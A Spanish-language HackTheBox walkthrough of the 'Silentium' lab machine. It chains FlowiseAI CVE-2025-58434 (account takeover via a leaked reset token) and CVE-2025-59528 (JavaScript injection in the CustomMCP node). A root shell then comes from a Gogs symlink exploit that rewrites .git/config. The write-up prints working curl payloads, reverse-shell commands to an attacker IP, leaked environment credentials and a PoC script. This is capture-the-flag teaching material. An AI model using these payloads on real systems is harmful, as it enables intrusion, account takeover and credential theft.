
Habilidades: Subdomain Fuzzing, CVE-2025-58434 + CVE-2025-59528 - FlowiseAI Unauthenticated Account Takeover + Remote Code Execution, Credentials Leakage, System Enumeration, Local Port Forwarding, CVE-2025-64111 - Gogs Remote Code Execution via Symbolic Links
Introducción
Silentium es una máquina Linux de dificultad Easy en HackTheBox en la cual debemos explotar algunas vulnerabilidades conocidas (CVEs) en la plataforma FlowiseAI, luego de obtener credenciales dentro de un contenedor podremos ganar acceso inicial.
Una vez dentro, descubriremos el servicio Gogs, el cual es vulnerable a ejecución de comandos a través de un mal manejo de archivos en repositorios, lo que nos permitirá obtener acceso privilegiado al servidor.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
export TARGET_IP=10.129.19.7
ping -c1 $TARGET_IP
PING 10.129.19.7 (10.129.19.7) 56(84) bytes of data.
64 bytes from 10.129.19.7: icmp_seq=1 ttl=62 time=204 ms
--- 10.129.19.7 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 204.486/204.486/204.486/0.000 ms
Port Scanning
Lanzaremos un escaneo de puertos con el fin de identificar servicios expuestos en la máquina víctima
rustscan -a $TARGET_IP --ulimit 5000 -- -sC -sV -Pn -n -oN services
Nmap scan report for 10.129.19.7
Host is up, received user-set (0.31s latency).
Scanned at 2026-04-12 02:47:47 -04 for 14s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c4bd276ab10069205dcf755947f18df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d6d4a4cee2e11b6c890e683e9df38b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:48
Completed NSE at 02:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:48
Completed NSE at 02:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:48
Completed NSE at 02:48, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds
Raw packets sent: 2 (88B) | Rcvd: 2 (88B)
Considera usar este tipo de escaneos con
rustscanexclusivamente en entornos de CTFs, para otros entornos revisa la siguiente advertencia publicada enGithub.
--ulimit 5000: Acelera el escaneo incrementando el descriptor de archivo.-sC: Lanzar scripts de reconocimiento más comunes.-sV: Intentar identificar la versión del servicio que ejecuta el puerto.-Pn: Omitir descubrimiento de host (ARP Scan).-n: Omitir la resoluciónDNS.-oN: Exportar en formato normal, tal como se ve por consola.
Web Enumeration
En la captura de nmap podremos ver que el servidor posee un nombre de dominio, el cual es silentium.htb.
Agregaremos este dominio a nuestro archivo /etc/hosts con el fin de aplicar correctamente la resolución DNS
echo "$TARGET_IP silentium.htb" | sudo tee -a /etc/hosts
10.129.20.212 silentium.htb
Antes de navegar hasta el dominio silentium.htb, podemos lanzar un escaneo preliminar a las tecnologías web que el servidor está utilizando para gestionar el contenido
whatweb http://silentium.htb/
http://silentium.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.129.19.7], Script, Title[Silentium | Institutional Capital & Lending Solutions], nginx[1.24.0]
En este caso se nos presenta nginx 1.24.0, sistema operativo Ubuntu, además del título de la página web
Al navegar hasta el dominio silentium.htb, veremos la siguiente página

Inspeccionando el contenido de la web, notaremos que al final se muestran posibles nombres de usuario

Nos quedaremos con estos posibles nombres de usuario para más adelante
Subdomain Fuzzing
Luego de pruebas usando
Fuzzing, no encontraremos mayor información dentro de este dominio.
Como el servidor web utiliza un nombre de dominio debido a que aplica Virtual Hosting, es posible que también existan otros servicios web disponibles en el servidor.
Enumeraremos la web en búsqueda de subdominios usando herramientas como gobuster, ffuf, wfuzz, etc.
gobuster vhost -u silentium.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://silentium.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]
Hemos encontrado un subdominio llamado staging.silentium.htb, lo agregaremos a nuestro archivo /etc/hosts al igual que el anterior para evitar problemas de resolución DNS
sudo sed -i '' 's/silentium.htb/& staging.&/' /etc/hosts
FlowiseAI
FlowiseAIes una plataforma de código abierto y “bajo código” (low-code) que permite diseñar, construir y desplegar aplicaciones basadas en Grandes Modelos de Lenguaje (LLMs) y agentes de IA mediante una interfaz visual de arrastrar y soltar
Cuando visitemos el subdominio staging.silentium.htb, veremos la siguiente web de inicio de sesión.
El título de la pestaña nos dice que la tecnología empleada es FlowiseAI, y buscando un poco en internet encontraremos que cuenta con un servicio de API

A través de la API podremos consultar la versión de Flowise bajo el endpoint /api/v1/version
curl http://staging.silentium.htb/api/v1/version
{"version":"3.0.5"}
Buscando en internet por CVEs asociados a esta versión encontraremos un conjunto de vulnerabilidades interesantes

Intrusión / Explotación
CVE-2025-59528 - FlowiseAI Remote Code Execution
CVE-2025-59528 es una vulnerabilidad que afecta a las versiones anteriores a la 3.0.5 del software Flowise, permite la ejecución remota de comandos a través del mal manejo de configuraciones para el nodo CustomMCP (Model Context Protocol)
Understanding Vulnerability
El nodo CustomMCP permite a los usuarios introducir configuraciones para conectarse a un servidor MCP externo.
Este nodo analiza la cadena mcpServerConfig proporcionada por el usuario para construir la configuración del servidor MCP.
Sin embargo, durante este proceso, ejecuta código JavaScript sin ninguna validación de seguridad. Específicamente, dentro de la función convertToValidJSONString, la entrada del usuario se pasa directamente al constructor Function(), que evalúa y ejecuta la entrada como código JavaScript.
Dado que esto se ejecuta con privilegios completos de tiempo de ejecución de Node.js, puede acceder a módulos peligrosos como child_process y fs
(Failed) Failed
La siguiente prueba de concepto explica cómo explotar esta vulnerabilidad a través de una solicitud POST hacia el nodo customMCP de la API
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
}
}'
Sin embargo, tendremos un problema, y es que este
CVEnecesita un token deAPI, lo cual significa que requiere autenticación previa.Es por esto que nos enfocaremos en buscar alguna otra vulnerabilidad que nos permita comprometer alguna cuenta o algo por el estilo.
CVE-2025-58434 - Flowise Unauthenticated Account Takeover
CVE-2025-58434 es una vulnerabilidad que afecta al software Flowise hasta la versión 3.0.5, esta permite comprometer una cuenta sin necesidad de autenticación a través de consultas a la API
Understanding Vulnerability
El endpoint forgot-password en Flowise retorna información sensible que incluye un token temporal (tempToken) de una cuenta sin validar autenticación previa.
Esto permite a un atacante solicitar un token para una cuenta válida dentro de Flowise, para posteriormente restablecer su contraseña directamente a través del uso de ese tempToken, para así completar un ataque Account Takeover (ATO)
Exploiting
Recordemos los posibles nombres de usuario que vimos en el dominio principal, podemos intentar solicitar un cambio de contraseña para cada una de estas cuentas y validar si el servidor nos responde y permite comprometerlas.
Con el siguiente comando podremos obtener rápidamente estos nombres de usuario para guardarlos en un archivo
curl -s http://silentium.htb/ | pup 'div.team-card h3 text{}' | tr -d ' ' | awk '{print tolower($0)}' | tee users.txt
marcusthorne
ben
elenarossi
Según la siguiente prueba de concepto, necesitaremos enviar una solicitud POST al endpoint forgot-password, enviando datos sobre el usuario objetivo en un JSON.
# Evil request
curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"<user>@silentium.htb"}}'
# all users
while read user; do echo "[*] Trying with $user"; curl -sX POST http://staging.silentium.htb/api/v1/account/forgot-password -H "Content-Type: application/json" -d "{\"user\":{\"email\":\"$user@silentium.htb\"}}" | jq; echo; done < users.txt
[*] Trying with marcusthorne
{
"statusCode": 404,
"success": false,
"message": "User Not Found",
"stack": {}
}
[*] Trying with ben
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
"tempToken": "L4attFUqKtqAaJPpD0b3B5KjT68RwLoeeVjimv9a4qKS4OVzHxJmvfE2lhZjBwu9",
"tokenExpiry": "2026-04-13T16:28:19.307Z",
"status": "active",
"createdDate": "2026-01-29T20:14:57.000Z",
"updatedDate": "2026-04-13T16:13:19.000Z",
"createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}
[*] Trying with elenarossi
{
"statusCode": 404,
"success": false,
"message": "User Not Found",
"stack": {}
}
El siguiente paso es enviar una solicitud POST al endpoint reset-password solicitando un cambio de contraseña para el usuario ben
curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"ben@silentium.htb",
"tempToken":"L4attFUqKtqAaJPpD0b3B5KjT68RwLoeeVjimv9a4qKS4OVzHxJmvfE2lhZjBwu9",
"password":"NewSecurePassword123!"
}
}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Sat, 11 Apr 2026 19:25:23 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-7uXmxCGndEd9QOYM+d0VGuUgx38"
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$.mi0Xwbzs1zsOVyo141k..WtQzILLECHsJBFCzQQWXKiyk3Og4c8C","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-04-11T19:25:23.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}#
Web Access as ben
Ahora validaremos las nuevas credenciales para el usuario ben iniciando sesión en la plataforma

Para explotar la vulnerabilidad que investigamos anteriormente (RCE), necesitábamos una API Key, la cual ya podremos obtener desde pestaña API Keys

Exploiting RCE
Ya podremos ejecutar comandos en el servidor usando CVE-2025-59528, pasando la API Key en la cabecera Authorization
Podemos probar diferentes payloads desde
revshells.compara ganar acceso a través de una reverse shell en la máquina víctima.
curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"busybox nc 10.10.14.38 443 -e sh\");return 1;})()})"
}
}'
Shell as root in Flowise Container
Cuando lancemos la reverse shell, en nuestro listener recibiremos una consola como el usuario root. Aunque realmente ganaremos acceso a un contenedor
nc -lvnp 443
Connection from 10.129.20.212:44753
whoami
root
hostname
c78c3cceb7ba
hostname -i
172.18.0.2
Si intentamos un tratamiento normal usando el comando
script, no obtendremos resultado. Podemos usar un tratamiento enpython3:python3 -c 'import pty; pty.spawn("/bin/sh")'.
python3 -c 'import pty; pty.spawn("/bin/sh")'
/ # / # ls
ls
bin etc lib mnt proc run srv tmp var
dev home media opt root sbin sys usr
/ # stty rows 42 columns 152 # Proporciones de la terminal
stty rows 42 columns 152
/ #
Credentials Leakage
Si inspeccionamos las variables de entorno, veremos dos variables que están definidas como contraseñas, FLOWISE_PASSWORD y SMTP_PASSWORD
/ # env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
Además, existe una variable de entorno llamada SENDER_EMAIL, la cual define al usuario que envía los correos electrónicos, esto puede ser la pista que necesitamos para pensar que ben también es válido en el sistema.
Las credenciales del usuario
bencorresponderían a la variableSMTP_PASSWORD.
Shell as ben
Utilizaremos las credenciales para iniciar sesión en la máquina real por ssh como el usuario ben
sshpass -p 'r04D!!_R4ge' ssh -oStrictHostKeyChecking=no ben@silentium.htb
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Apr 13 07:22:33 PM UTC 2026
System load: 0.13
Usage of /: 83.0% of 13.37GB
Memory usage: 20%
Swap usage: 0%
Processes: 230
Users logged in: 0
IPv4 address for eth0: 10.129.20.212
IPv6 address for eth0: dead:beef::250:56ff:feb0:33ee
=> There is 1 zombie process.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Last login: Wed Apr 8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
ben@silentium:~$ export TERM=xterm # Ctrl+L
Ya podremos ver la primera flag ubicada en el directorio /home/ben
ben@silentium:~$ cat user.txt
25f...
Escalada de Privilegios
System Enumeration
Como ya estamos dentro de la máquina objetivo, enumeraremos el sistema en búsqueda de una vía potencial mediante la cual podamos convertirnos en el usuario con máximos privilegios (root)
Users
Listando los usuarios del sistema desde el archivo /etc/passwd, veremos que solamente existen ben y root
ben@silentium:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:,,,:/home/ben:/bin/bash
Processes
Listando los procesos en ejecución no veremos nada interesante, excepto por una herramienta llamada gogs
ps faux
...
<SNIP>
...
root 1520 0.0 1.7 1738544 69952 ? Ssl 14:29 0:04 /opt/gogs/gogs/gogs web
...
<SNIP>
...
Open Ports
En cuanto a puertos abiertos, veremos algunos abiertos internamente (que apuntan a 127.0.0.1)
ben@silentium:~$ ss -tunl | grep LISTEN
tcp LISTEN 0 4096 127.0.0.1:8025 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:1025 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:33431 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 4096 [::]:22 [::]:*
- El puerto
3000ejecuta el servicioFlowise. - Puerto
1025y8025ejecutan servicioMailhog, el cual simula ser un servidorSMTP.
Gogs
Aún nos queda por investigar el puerto 3001, el cual si le hacemos un curl (de forrma totalmente a ciegas, puede que ni siquiera sea un servicio que acepte el protocolo HTTP), veremos que se trata de un servicio llamado Gogs.
Gogs(Go Git Service) es un servicio de alojamiento de repositoriosGitautoalojado, de código abierto y extremadamente ligero, escrito en el lenguajeGo.
ben@silentium:~$ curl -si localhost:3001 | head -n 30
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
Set-Cookie: i_like_gogs=fbdd6871b942de45; Path=/; HttpOnly
Set-Cookie: _csrf=vcoGieZsjHxD8SUvSc6nPYjDUXc6MTc3NjExMDQxMDQ1OTU2NDY1NA; Path=/; Domain=staging-v2-code.dev.silentium.htb; Expires=Tue, 14 Apr 2026 20:00:10 GMT; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: deny
Date: Mon, 13 Apr 2026 20:00:10 GMT
Transfer-Encoding: chunked
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
<meta name="referrer" content="no-referrer" />
<meta name="_csrf" content="vcoGieZsjHxD8SUvSc6nPYjDUXc6MTc3NjExMDQxMDQ1OTU2NDY1NA" />
<meta name="_suburl" content="" />
<meta property="og:url" content="http://staging-v2-code.dev.silentium.htb:3001/" />
<meta property="og:type" content="website" />
<meta property="og:title" content="Gogs">
<meta property="og:description" content="Gogs is a painless self-hosted Git service.">
| head -n 30mostrará las primeras30líneas de la salida del comandocurlque lanzamos.
En el proceso vimos también el directorio donde se aloja el servicio, en este caso es /opt
ben@silentium:~$ ls -la /opt/gogs/
total 24
drwxr-xr-x 6 root root 4096 Apr 8 09:41 .
drwxr-xr-x 4 root root 4096 Apr 8 18:30 ..
drwxr-x--- 3 750 root 4096 Apr 8 09:41 custom
drwxr-x--- 2 750 root 4096 Apr 8 17:46 data
drwxr-xr-x 6 root root 4096 Apr 8 09:41 gogs
drwxr-x--- 2 750 root 4096 Apr 13 14:29 log
Dentro del directorio gogs encontraremos el ejecutable principal de la herramienta, llamado gogs
ben@silentium:~$ /opt/gogs/gogs/gogs
NAME:
Gogs - A painless self-hosted Git service
USAGE:
gogs [global options] command [command options] [arguments...]
VERSION:
0.13.3
COMMANDS:
web Start web server
serv This command should only be called by SSH shell
hook Delegate commands to corresponding Git hooks
cert Generate self-signed certificate
admin Perform admin operations on command line
import Import portable data as local Gogs data
backup Backup files and database
restore Restore files and database from backup
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help
--version, -v print the version
Podemos ver que se trata de la versión 0.13.3. Lo primero que haremos será buscar vulnerabilidades asociadas en internet

Parece que esta versión posee varias vulnerabilidades, según la publicación de Tentacle, esta versión es vulnerable a RCE a través de CVE-2025-8110, CVE-2025-8111 y CVE-2026-23633
Local Port Forwarding
Para tener alcance de forma cómoda con el servicio Gogs, podemos reenviar el puerto 3001 de forma local
sshpass -p 'r04D!!_R4ge' ssh -oStrictHostKeyChecking=no ben@silentium.htb -L 3001:127.0.0.1:3001 -fN
-L: Reenvío de puertos local.-fN: Correr el proceso en segundo plano y no abrir una shell.
CVE-2025-64111 - Gogs Remote Code Execution via Symbolic Links
CVE-2025-64111 es una vulnerabilidad crítica en el software Gogs que permite la inyección de comandos a través de archivos maliciosos en el directorio .git. Este fallo afecta a las versiones igual o inferiores a la 0.13.3.
Esta vulnerabilidad explota el parche de CVE-2024-56731, donde todavía es posible actualizar archivos en el directorio .git y lograr la ejecución remota de comandos usando enlaces simbólicos
Understanding Vulnerability
Debido a un parche incompleto para CVE-2024-56731, aún permite manipular archivos dentro del directorio .git.
La función UpdateRepoFile aplica verificaciones de seguridad bajo ciertas condiciones if.
Sin embargo, la llamada desde el router de la API no coincide con ninguna de ellas, esto permite actualizar archivos como .git/config directamente a través de un endpoint de la API, como /api/v1/repos/<username>/<repo>/contents/evil-link, el cual.
Frente a eso, se utiliza un enlace simbólico para editar el archivo que contiene el enlace simbólico a .git/config, por lo que se terminaría editando el contenido de este archivo crítico.
Editando el archivo
.git/config, el uso de la directivacore.sshCommandpermite ejecutar un comando a nivel de sistema.
Setup
Comenzaremos registrando una nueva cuenta en la plataforma Gogs

Procederemos a crear un nuevo repositorio bajo esta nueva cuenta, en mi caso lo llamé evil-repo

Como necesitamos acceso a la API, crearemos una nueva clave desde Settings > Applications > Generate New Token

Config
Necesitaremos configurar un repositorio local o clonar el repositorio remoto para interactuar con él
git init
git remote add origin http://localhost:3001/incommatose/evil-repo
Añadiremos la configuración del usuario con el fin de que el servidor pueda identificarnos cuando enviemos cambios
git config user.email "test@test.com"
git config user.name "incommatose"
Exploiting
Existen algunas pruebas de concepto disponibles, como el repositorio de zAbuQasem en Github, además del advisory publicado también en Github.
Una vez hayamos configurado el repositorio, procederemos a subir un archivo que contiene un enlace simbólico a .git/config
ln -s .git/config
git add link
git commit -m 'add'
Con los cambios preparados, los subiremos al repositorio a través del comando git push
git push origin master
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 208 bytes | 41.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Username for 'http://localhost:3001': incommatose
Password for 'http://incommatose@localhost:3001':
To http://localhost:3001/incommatose/evil-repo.git
* [new branch] master -> master
Crearemos un archivo de configuración malicioso que contenga un comando malicioso dentro de la directiva sshCommand.
Luego de muchas pruebas de sintaxis y diferentes payloads, por alguna razón solo me funcionó la siguiente configuración, la cual extraje del PoC de
Githubdel usuariozAbuQasem.
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.38/443 0>&1' #
[remote "origin"]
url = git@silentium.htb:gogs/evil-repo.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
En este caso podemos ajustar la directiva
urlpara que coincida con el nombre de nuestro repositorio.
Codificaremos este contenido en base64 para que pueda ser procesado correctamente por la API
cat evil-config.txt | base64 -w0; echo
W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQogIHNzaENvbW1hbmQgPSBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjM4LzQ0MyAwPiYxJyAjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBnaXRAc2lsZW50aXVtLmh0Yjpnb2dzL2V2aWwtcmVwby5naXQKCWZldGNoID0gK3JlZnMvaGVhZHMvKjpyZWZzL3JlbW90ZXMvb3JpZ2luLyoKW2JyYW5jaCAibWFzdGVyIl0KCXJlbW90ZSA9IG9yaWdpbgoJbWVyZ2UgPSByZWZzL2hlYWRzL21hc3Rlcgo=
Root Time
Antes de enviar la solicitud a la API para iniciar la ejecución del comando, debemos iniciar un listener en el puerto que definimos en la configuración
nc -lvnp 443
Ahora enviaremos una solicitud POST a la API de Gogs, editaremos el contenido del archivo que contiene el enlace simbólico, en este caso lo llamamos link
En este caso el endpoint será
/api/v1/repos/<user>/<evil-repo>/contents/<link-file>
export TOKEN='77c8d1a360ffaa239fdc1d2f11e0df33cb25afb9' # Preparar el API Token
# Trigger
curl -si -X PUT http://localhost:3001/api/v1/repos/incommatose/evil-repo/contents/link -H 'Content-Type: application/json' -H "Authorization: token $TOKEN" -d '{"message":"exploit","content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQogIHNzaENvbW1hbmQgPSBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjM4LzQ0MyAwPiYxJyAjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBnaXRAc2lsZW50aXVtLmh0Yjpnb2dzL2V2aWwtcmVwby5naXQKCWZldGNoID0gK3JlZnMvaGVhZHMvKjpyZWZzL3JlbW90ZXMvb3JpZ2luLyoKW2JyYW5jaCAibWFzdGVyIl0KCXJlbW90ZSA9IG9yaWdpbgoJbWVyZ2UgPSByZWZzL2hlYWRzL21hc3Rlcgo="}'
En nuestro listener recibiremos una consola como el usuario root
Connection from 10.129.21.127:52110
bash: cannot set terminal process group (1514): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# id
id
uid=0(root) gid=0(root) groups=0(root)
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1#
Ya podremos ver la última flag ubicada en el directorio /root
root@silentium:~# cat root.txt
cat root.txt
24e...
PoC
Si no podemos hacerlo manual por algún motivo, podemos usar el PoC de zAbuQasem en Gtihub
git clone https://github.com/zAbuQasem/gogs-CVE-2025-8110 # Sí, se confunde este CVE con gogs-CVE-2025-8110
cd gogs-CVE-2025-8110
python3 -m venv .venv
# load virtual environment
source .venv/bin/activate
pip install .
Simplemente debemos crear un usuario dentro de la plataforma y realizar los siguientes cambios al script
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-lh", "--host", required=True, help="Attacker host")
parser.add_argument("-lp", "--port", required=True, help="Attacker port")
parser.add_argument("-x", "--proxy", action="store_true", help="Use proxy")
args = parser.parse_args()
session = requests.Session()
if args.proxy:
session.proxies.update(proxies)
session.verify = False
username = "incommatose"
password = "test123"
command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
try:
#register(session, args.url, username, password)
login(session, args.url, username, password)
token = get_application_token(session, args.url)
repo_name = create_malicious_repo(session, args.url, token)
git_config = f"""[core]
- Configuraremos las credenciales de la cuenta que creamos anteriormente.
- Comentaremos la función
register(), debido a que aparentemente está rota.
Ahora podremos ejecutar el PoC para obtener una reverse shell como root
Si no configuraste gitcon las variablesuser.emailyuser.namete saltará un error, defínelas como se muestra en [[#Configesta sección]]. Además, te recomiendo omitir la flag --global.
python3 CVE-2025-8110.py -u http://localhost:3001 -lh 10.10.14.38 -lp 443
[+] Authenticated successfully
Token generation status: 200
[+] Application token: 1b14f57830ebbc7bf7bba8aa63c94ff5db28456a
Repo creation status: 201
Cloning into '/tmp/c73f82f1b607'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 252 bytes | 252.00 KiB/s, done.
[master dd06140] Add malicious symlink
1 file changed, 1 insertion(+)
create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 296 bytes | 296.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3001/incommatose/c73f82f1b607.git
9972b1c..dd06140 master -> master
[+] Exploit sent, check your listener!
Gracias por leer, a continuación te dejo la cita del día.
To give ones self earnestly to the duties due to men, and, while respecting spiritual beings, to keep aloof from them, may be called wisdom. — Confucius